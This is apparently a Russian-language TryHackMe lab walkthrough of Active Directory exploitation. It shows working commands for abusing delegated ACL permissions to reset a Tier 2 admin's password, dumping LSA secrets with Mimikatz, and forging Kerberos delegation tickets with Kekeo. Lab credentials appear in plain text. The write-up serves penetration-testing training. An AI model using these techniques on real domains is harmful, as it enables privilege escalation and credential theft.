Exploiting Active Directory, part 1

Exploiting Active Directory, part 1

@cherepawwka

Всем привет!

Это четвёртая статья из цикла статей по атакам на домены Active Directory. В прошлый раз мы изучили основные способы горизонтального перемещения в домене и познакомились с некоторыми техниками пивотинга. Сегодня речь пойдёт о непосредственной эксплуатации.

Exploiting Active Directory

Эта статья является логическим продолжением статей Enumerating Active Directory и Lateral Movement and Pivoting.

Вторая и третья части статьи доступны по ссылке ниже:

Приступим!


Введение

Теперь, когда мы получили первоначальный доступ к AD и перечислили структуру домена, мы рассмотрим различные методы, которые можно использовать для использования мисконфигураций, которые могли быть обнаружены в результате перечисления.

Эксплуатация AD

Когда злоумышленник провел внутреннюю разведку и понял, что происходит в отношении структуры и окружения AD, пришло время перейти к этапу эксплуатации. На этом этапе неправильные конфигурации используются для выполнения комбинации горизонтального перемещения и повышения привилегий до тех пор, пока не будет достигнут подходящий плацдарм для выполнения конечных целей атаки. Эта фаза обычно сочетается с закреплением, чтобы гарантировать доступность новой позиции, которой достигает злоумышленник. Этап эксплуатации также сочетается с дополнительным перечислениием, так как новое положение может позволить атакующему получить дополнительную информацию об окружении.

Схема рассматриваемой сети

Цели

В этой статье мы рассмотрим несколько методов, которые можно использовать для использования неправильных конфигураций в домене AD. Это далеко не полный список, так как доступные при атаке методы обычно очень ситуативны и зависят от структуры и среды AD. Мы рассмотрим следующие методы эксплуатации:

  • AD Delegation;
  • Forcing Authentication Relays;
  • Group Policy Objects;
  • Targeting AD Users;
  • Domain Trusts;
  • Silver and Golden Tickets.

Для имитации мне предоставлен первый набор учетных данных для авторизации в AD:

Первоначальные креды
Username: sharon.khan
Password: 4MpkcCfDL

Эта пара учетных данных предоставит доступ по RDP и SSH к хосту THMWRK1.za.tryhackme.loc (точка входа в сеть, имитирующая достигнутую точку опоры). Я могу использовать Remmina или любой другой RDP-клиент для подключения к этому хосту по RDP, но преимущественно буду пользоваться SSH, так как он работает быстрее.

Для доступа по SSH использую следующую команду:

ssh za.tryhackme.loc\\sharon.khan@thmwrk1.za.tryhackme.loc
Подключение по ssh

Также можно подключиться с клиентом xfreerdp с помощью следующей команды:

xfreerdp /v:10.200.86.248 /u:sharon.khan /p:4MpkcCfDL /d:za.tryhackme.loc +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,share /cert:ignore
RDP


Эксплуатация делегирования разрешений (Permission Delegation).

Active Directory может делегировать разрешения и привилегии с помощью функции, называемой Permission Delegation (не путать с Kerberos Delegation, которое будет обсуждаться далее). Делегирование — это то, что делает AD мощным инструментом в больших организациях. Представьте, что мы работаем в организации, в которой работает 50000 сотрудников. Поскольку мы заботимся о безопасности, у нас есть только три пользователя, которые имеют доступ к учетным данным DA (доменный администратор). Этих три сотрудника вряд ли смогли бы обработать все запросы от пользователей, такие как, например, сброс пароля. Используя делегирование, мы можем делегировать разрешение на принудительное изменение пароля пользователя команде службы поддержки, что означает, что теперь у них есть делегированная привилегия для этой конкретной функции. В принципе, чтобы обеспечить безопасность делегирования, следует соблюдать принцип наименьших привилегий. Однако в крупных организациях это легче сказать, чем сделать.

Permission Delegation

Эксплуатацию делегирования разрешений часто называют атакой на основе ACL (ACL-based). AD позволяет администраторам настраивать Access Control Entries (ACE), которые заполняют дискреционные списки управления доступом (DACL), отсюда и название атак. Почти любой объект AD можно защитить с помощью ACE, которые затем описывают разрешения, которые любой другой объект AD имеет в отношении целевого объекта.

Однако, если ACE настроены неправильно, злоумышленник может использовать их мисконфигурации. Посмотрим на наш пример. Если группе IT-поддержки был предоставлена ACE ForceChangePassword в отношении группы Domain Users, это было бы небезопасно. Конечно, они смогут сбросить пароли сотрудников, которые их забыли, но эта мисконфигурация позволит им также сбросить пароли привилегированных учетных записей, таких как учетные записи, которые являются членами группы Domain Admins, что позволяет повысить привилегии.

Эксплуатация ACEs

Значительное количество ACE может быть неправильно настроено, и способ атаки для каждого из них свой. Документация Bloodhound помогает объяснить перечисленные ACE и то, как их можно использовать. Тем не менее, мы рассмотрим несколько особо примечательных из них:

  • ForceChangePassword: даёт возможность установить новый пароль для пользователя, не зная его текущего пароля;
  • AddMembers: даёт возможность добавлять пользователей (включая нашу собственную учетную запись), группы или компьютеры в целевую группу;
  • GenericAll: даёт полный контроль над объектом, включая возможность изменить пароль пользователя, зарегистрировать SPN или добавить объект AD в целевую группу;
  • GenericWrite: даёт возможность обновить любые незащищенные параметры целевого объекта. Это может позволить нам, например, обновить параметр scriptPath, что приведет к выполнению сценария при следующем входе пользователя в систему;
  • WriteOwner: даёт возможность обновить владельца целевого объекта. Мы могли бы сделать себя владельцем объекта, что позволит получить дополнительные права доступа к нему;
  • WriteDACL: даёт возможность записывать новые ACE в DACL целевого объекта. Мы могли бы, например, написать ACE, который предоставляет подконтрольной учетной записи полный контроль над целевым объектом;
  • AllExtendedRights: даёт возможность выполнять любые действия, связанные с расширенными правами AD, в отношении целевого объекта. Включает возможность принудительного изменения пароля пользователя.

Чтобы использовать эти ACE, нам понадобится метод взаимодействия с AD для выполнения этих запросов. Два лучших варианта для этого — командлеты AD-RSAT-PowerShell или PowerSploit . В зависимости от "уязвимости" и инструментов обнаружения в сети один из этих вариантов может быть более незаметным.

Bloodhound

Про Bloodhound мы говорили ранее при осуществлении перечисления AD. Для этой задачи условимся, что Sharphound уже собрал всю необходимую информацию для дальнейшего анализа. Запустим Bloodhound и neo4j:

neo4j console start

На другой вкладке терминала 

bloodhound --no-sandbox 

Авторизуемся (учетные данные по умолчанию для базы данных neo4j neo4j:neo4j):

Портал входа в Bloodhound

Затем загрузим файлы в рабочую область Bloodhound и начнём перечисление путей атаки.

Загрузка файлов

Повышение привилегий

Найдем нашу учетную запись пользователя. Видим, что у УЗ не так много разрешений. У нас есть возможность подключиться по RDP к THMWRK1, но это даст нам доступ с низким уровнем привилегий:

Информация о пользователе

Поскольку домен является многоуровневым, нашим первым шагом будет компрометация инфраструктуры уровня 2. Нам нужно скомпрометировать группу Tier 2 Admins, так члены этой группы имеют права администратора на всех рабочих станциях. Запросим у Bloodhound, есть ли путь, по которому мы можем пройти, чтобы скомпрометировать интересующую нас группу. Для этого надо добавить свою учетную запись пользователя в качестве начальной позиции и группу Tier 2 Admins в качестве конечной позиции:

Поиск пути повышения привилегий

Bloodhound показывает очень интересный путь, связаннный с Permission Delegation. Администратор неправильно настроил делегирование разрешений группы IT support, предоставив группе Domain Users ACE AddMembers. Это означает, что любой член группы Domain Users (включая нашу учетную запись) может добавлять учетные записи в группу IT support. Кроме того, Bloodhound показывает, что группа IT support имеет ACE ForceChangePassword для участников группы Tier 2 Admins. На самом деле это не мисконфигурация, поскольку Tier 2 Admins не настолько критичные пользователи, но в сочетании с первоначальной неправильной конфигурацией она обеспечивает очень мощный путь атаки. Начнём атаку!

AddMember

Первым шагом на этом пути атаки будет добавление нашей учетной записи в группу IT support. Для этого мы будем использовать командлет PowerShell Add-ADGroupMember из набора инструментов AD-RSAT. Запустим PowerShell на хосте THMWRK1 и выполним следующую команду, чтобы добавить свою учетную запись в целевую группу:

PS C:\>Add-ADGroupMember "IT Support" -Members "sharon.khan"

Мы можем убедиться, что команда работает, используя командлет Get-ADGroupMember:

PS C:\>Get-ADGroupMember -Identity "IT Support"
Добавление пользователя в группу

ForceChangePassword

Теперь, когда мы являемся состоим к группе IT support, мы унаследовали делегирование разрешений ForceChangePassword от группы Tier 2 Admins. Во-первых, нам нужно просмотреть членов этой группы, чтобы выбрать цель. Мы можем снова использовать командлет Get-ADGroupMember:

PS C:\>Get-ADGroupMember -Identity "Tier 2 Admins"
Получение списка пользователей в группе

Запишем имя любого пользователя (например, t2_henry.harvey). Теперь используем командлет Set-ADAccountPassword, чтобы принудительно изменить пароль:

PS C:\>$Password = ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force 
PS C:\>Set-ADAccountPassword -Identity "t2_henry.harvey" -Reset -NewPassword $Password
Успешная смена пароля от УЗ

Если этот шаг сработал, теперь мы сможем пройти аутентификацию на THMWRK1, используя целевую учетную запись с новым паролем. Теперь у нас есть административный доступ к этой рабочей станции, то есть мы официально повысили свои привилегии до уровня Tier 2 Admin, эксплуатировав Permission Delegations.

Подключение к машине по RDP с новыми кредами
Привилегии пользователя
Забираем флаг


Эксплуатация делегирования Kerberos (Kerberos Delegation)

Далее мы рассмотрим делегирование Kerberos. Когда речь идёт об AD Delegation, обычно подразумевается именно это, а не делегирование разрешений.

Kerberos Delegation

Практическое использование делегирования Kerberos заключается в предоставлении приложению доступа к ресурсам, размещенным на другом сервере. Примером может быть веб-сервер, которому требуется доступ к базе данных SQL, размещенной на сервере базы данных, для веб-приложения, которое на нём хостится. Без делегирования мы, вероятно, использовали бы учетную запись службы AD и предоставили ей прямой доступ к базе данных. При выполнении запросов в веб-приложении учетная запись службы будет использоваться для аутентификации в базе данных и получения информации.

Однако мы можем разрешить делегирование этой учетной записи службы службе SQL Server. Как только пользователь войдет в веб-приложение, учетная запись службы запросит доступ к базе данных от имени этого пользователя. Это означает, что пользователь сможет получить доступ только к данным в базе данных, для которых у него есть соответствующие разрешения, без необходимости предоставлять какие-либо привилегии или разрешения для базы данных самой учетной записи службы.

Constrained vs Unconstrained

Существует два типа делегирования Kerberos. В исходной реализации делегирования Kerberos использовалось неограниченное (Unconstrained) делегирование, которое является наименее безопасным методом. По сути, неограниченное делегирование не накладывает никаких ограничений на делегирование. В фоновом режиме, если пользователь с установленным флагом «TRUSTED_FOR_DELEGATION» аутентифицируется на хосте с настроенным неограниченным делегированием, ticket-granting ticket (TGT) для этой учетной записи создается и сохраняется в памяти, чтобы при необходимости ее можно было использовать позже. Предположим, злоумышленник может скомпрометировать хост, на котором включено неограниченное делегирование. В этом случае он может попытаться заставить привилегированную учетную запись пройти аутентификацию на хосте, что позволит ему перехватить сгенерированный TGT и выдать себя за привилегированную службу. Пример использования Unconstrained Delegation можно увидеть здесь.

Чтобы устранить недостатки безопасности неограниченного делегирования, Microsoft в 2003 году представила ограниченное (Constrained) делегирование. Ограниченное делегирование ограничивает службы, которым может быть делегирована учетная запись, снижая риск уязвимости в случае компрометации учетной записи. Ниже приведены примеры служб, которые можно настроить для делегирования:

  • HTTP — используется для веб-приложений, чтобы разрешить сквозную аутентификацию с использованием учетных данных AD;
  • CIFS — Common Internet File System, используется для обмена файлами, что позволяет делегировать пользователям общие ресурсы;
  • LDAP — используется для делегирования службе LDAP таких действий, как сброс пароля пользователя;
  • HOST — позволяет делегировать учетной записи все действия на хосте;
  • MSSQL — позволяет делегировать учетные записи пользователей службе SQL для сквозной проверки подлинности в базах данных.

Использование ограниченного делегирования обычно сложнее, чем использование неограниченного делегирования, поскольку делегированную учетную запись нельзя использовать для всего. Тем не менее, ограниченное делегирование все еще можно использовать для некоторых путей эксплуатации. Например, атакующий смог скомпрометировать учетную запись AD, для которой настроено ограниченное делегирование; зная незашифрованный пароль или даже просто хэш NTLM этой учетной записи, злоумышленник может сгенерировать TGT для этой учетной записи, а затем использовать TGT для выполнения запроса к ticket-granting server (TGS) для любой некритичной учетной записи пользователя, чтобы получить доступ к сервису в качестве этого пользователя. Представьте, например, что мы можем выдать себя за учетную запись, у которой есть доступ к конфиденциальной базе данных.

Resource-Based Constrained Delegation

Итак, на самом деле существует три типа делегирования Kerberos. Но этот заслуживает отдельного упоминания. Представленное Microsoft в 2012 году ограниченное делегирование на основе ресурсов (Resource-Based Constrained Delegation, RBCD) снова наложило дополнительные ограничения на делегирование Kerberos в целях безопасности. RBCD полностью меняет модель делегирования. Вместо указания того, какой объект может делегировать какой службе, служба теперь указывает, какие объекты могут ей делегировать. Это позволяет владельцу службы контролировать, кто может получить к ней доступ. В нашем примере с веб-приложением это означает, что вместо того, чтобы указывать, что учетная запись веб-службы может делегировать службе базы данных доступ к базе данных, теперь для службы базы данных мы можем указать, что учетной записи веб-службы разрешено делегировать доступ к ней.

Допустим, у нас есть разрешение на настройку RBCD для службы. Это означает, что у нас есть возможность установить атрибут msDS-AllowedToActOnBehalfOfOtherIdentity для объекта AD. Мы можем заполнить этот атрибут сведениями об учетной записи AD, к которой у нас есть доступ. Чтобы теперь получить доступ к сервису, мы можем сгенерировать TGT для контролируемой нами учетной записи, что позволит нам взаимодействовать с этим сервисом. Подробный пример эксплуатации RBCD описан здесь.

Эксплуатация ограниченного делегирования

Для примера будем использовать ограниченное делегирование. Первое, что нам нужно сделать, это перечислить доступные делегирования. Для этого используем нашего нового привилегированного пользователя. Мы можем использовать командлет PowerSploit Get-NetUser для перечисления, выполнив следующую команду:

PS C:\>Import-Module C:\Tools\PowerView.ps1 
PS C:\>Get-NetUser -TrustedToAuth
Результат работы команды

Основываясь на выводе этой команды, мы видим, что учетная запись svcIIS может делегировать службы HTTP и WSMAN на THMSERVER1. Вы могли бы подумать, что это означает, что мы можем получать доступ к веб-сайтам только от имени олицетворенных пользователей. Однако PowerShell Remoting также использует службы HTTP и WSMAN. Идеальным вариантом было бы выдать себя за Tier 1 администратора, поскольку это предоставило бы нам административный доступ на THMSERVER1.

Если бы мы выполнили надлежащее перечисление THMWRK1 после эксплуатации, то обнаружили бы, что на хосте есть служба, работающая от имени пользователя svcIIS. Поскольку теперь у нас есть административный доступ, мы можем использовать такой доступ для создания дампа LSASecrets, части куста реестра Windows, где хранятся учетные данные для таких функций, как службы Windows. Давайте воспользуемся Mimikatz для дампа:

C:\> C:\Tools\mimikatz_trunk\x64\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM


mimikatz # lsadump::secrets
...
Повышение токена и дамп секретов
Пароль в открытом виде

Давайте пробежимся по командам:

  • token::elevate — чтобы выгрузить секреты из куста реестра, нам нужно выдать себя за пользователя SYSTEM;
  • lsadump::secrets — Mimikatz взаимодействует с кустом реестра, чтобы получить учетные данные в виде открытого текста.

Получаем учетную запись службы:

Username: svcIIS@za.tryhackme.loc
Passw0rd: Password1@

Теперь, когда у нас есть доступ к паролю, связанному с учетной записью svcIIS, мы можем выполнить атаку делегирования Kerberos. Я буду использовать комбинацию Kekeo и Mimikatz. Kekeo необходим для создания билетов, а Mimikatz для загрузки этих билетов в память. Начнем с создания билетов:

PS C:\> C:\Tools\kekeo\x64\kekeo.exe

  ___ _    kekeo 2.1 (x64) built on Dec 14 2021 11:51:55
 /   ('>-  "A La Vie, A L'Amour"
 | K  |    /* * *
 \____/     Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  L\_       https://blog.gentilkiwi.com/kekeo                (oe.eo)
                                             with 10 modules * * */

kekeo #

Сначала нам нужно сгенерировать TGT, который можно использовать для создания билетов для служб HTTP и WSMAN:

kekeo # tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:Password1@
Выдача TGT

Объяснение параметров:

  • user — пользователь с ограниченными разрешениями делегирования;
  • domain — домен, который мы атакуем, поскольку Kekeo можно использовать для подделки билетов для злоупотребления доверием между лесами;
  • password — пароль, связанный с учетной записью svcIIS.

Теперь, когда у нас есть TGT для учетной записи, которая может выполнять делегирование, мы можем подделать запросы TGS для учетной записи, которую мы хотим олицетворять. Запросим пользователей Tier 1 Admins:

Пользователи группы

Выберем t1_vincent.watson.

Нам нужно запросить TGS как для HTTP, так и для WSMAN, чтобы мы могли создать PSSession на THMSERVER1:

kekeo # tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_vincent.watson /service:http/THMSERVER1.za.tryhackme.loc
Запрос олицетворённых TGS

Объяснение параметров:

  • tgt — мы предоставляем TGT, сгенерированный на предыдущем шаге.
  • user — пользователь, которого мы хотим имперсонифицировать. Поскольку учетные записи t2_* имеют административный доступ к рабочим станциям, можно с уверенностью предположить, что учетные записи t1_* будут иметь административный доступ к серверам, поэтому выберем учетную запись t1_*, которую хотим имперсонифицировать.
  • service — службы, которые мы хотим олицетворять с помощью делегирования. Сначала мы создаем TGS для службы HTTP, затем мы можем повторно запустить ту же команду для службы WSMAN.

Теперь, когда у нас есть два билета TGS, мы можем использовать Mimikatz для их импорта:

mimikatz # privilege::debug
mimikatz # kerberos::ptt TGS_t1_vincent.watson@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
mimikatz # kerberos::ptt TGS_t1_vincent.watson@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
Импорт TGS в текущий сеанс

Выходим из Mimikatz и запускаем klist, чтобы убедиться, что билеты были импортированы:

Билеты импортированы

Теперь, когда билеты импортированы, мы наконец можем создать нашу PSSession на THMSERVER1:

New-PSSession -ComputerName thmserver1.za.tryhackme.loc
Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc
Новая сессия от имени T1 администратора

Благодаря эксплуатации ограниченного делегирования у нас теперь есть привилегированный доступ к THMSERVER1!

На этом первая часть статьи подошла к концу. Имея непривилегированного пользователя, мы смогли сначала повысить привилегии до администратора рабочих станций, изменив пароль пользователя группы Tier 2 Admins, а после получили Tier 1 администратора благодаря имперсонификации и делегированию Kerberos.

Вторая часть статьи доступна по ссылке ниже:

Мам, прости, что блэчил


Report content on this page

Report Page

Please submit your DMCA takedown request to dmca@telegram.org